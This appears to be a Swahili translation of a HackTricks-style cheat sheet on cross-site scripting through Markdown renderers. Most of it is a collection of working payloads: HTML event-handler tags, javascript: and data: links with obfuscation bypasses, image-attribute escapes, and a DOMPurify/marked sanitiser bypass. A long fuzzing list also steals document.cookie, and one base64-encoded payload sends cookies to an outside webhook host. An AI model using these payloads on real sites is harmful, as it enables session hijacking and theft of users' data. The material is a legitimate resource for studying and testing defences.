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Ikiwa una nafasi ya kuingiza msimbo katika markdown, kuna chaguzi chache unazoweza kutumia kuanzisha XSS wakati msimbo unapotafsiriwa.

HTML tags

Njia ya kawaida zaidi ya kupata XSS katika markdown ni kuingiza vitambulisho vya kawaida vya HTML vinavyotekeleza javascript, kwa sababu waandishi kadhaa wa markdown pia watakubali HTML.

html
<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />

Unaweza kupata mifano zaidi katika ukurasa mkuu wa XSS wa hacktricks.

Viungo vya Javascript

Ikiwa vitambulisho vya HTML si chaguo, unaweza daima kujaribu kucheza na sintaksia ya markdown:

html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Img event syntax abuse

markdown
![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)

HTML Sanitiser Markdown Bypass

Msimbo ufuatao ni ukaguzi wa ingizo la HTML na kisha kupeleka kwa parser ya markdown, kisha, XSS inaweza kuanzishwa kwa kutumia tafsiri mbaya kati ya Markdown na DOMPurify

html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search)
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(
DOMPurify.sanitize(qs.get("content"))
)
}
</script>

Mifano ya payloads:

html
<div
id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

<img src=x onerror=alert(1)>"
>yep</a
>
------------------------------------------------ [x](y '<style>
')<!--
</style>
<div id="x--><img src=1 onerror=alert(1)>"></div>
---------------------------------------------- [
<p
x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
) ---------------------------------------------- `
<p x="`<img src=x onerror=alert(1)>"></p>
</div>

Fuzzing

html
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
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<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1&#41;)
[XSS](javascript&#58this;alert(1&#41;)
[XSS](Javas&#99;ript:alert(1&#41;)
[XSS](Javas%26%2399;ript:alert(1&#41;)
[XSS](javascript:alert&#65534;(1&#41;)
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain&#41;)
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\

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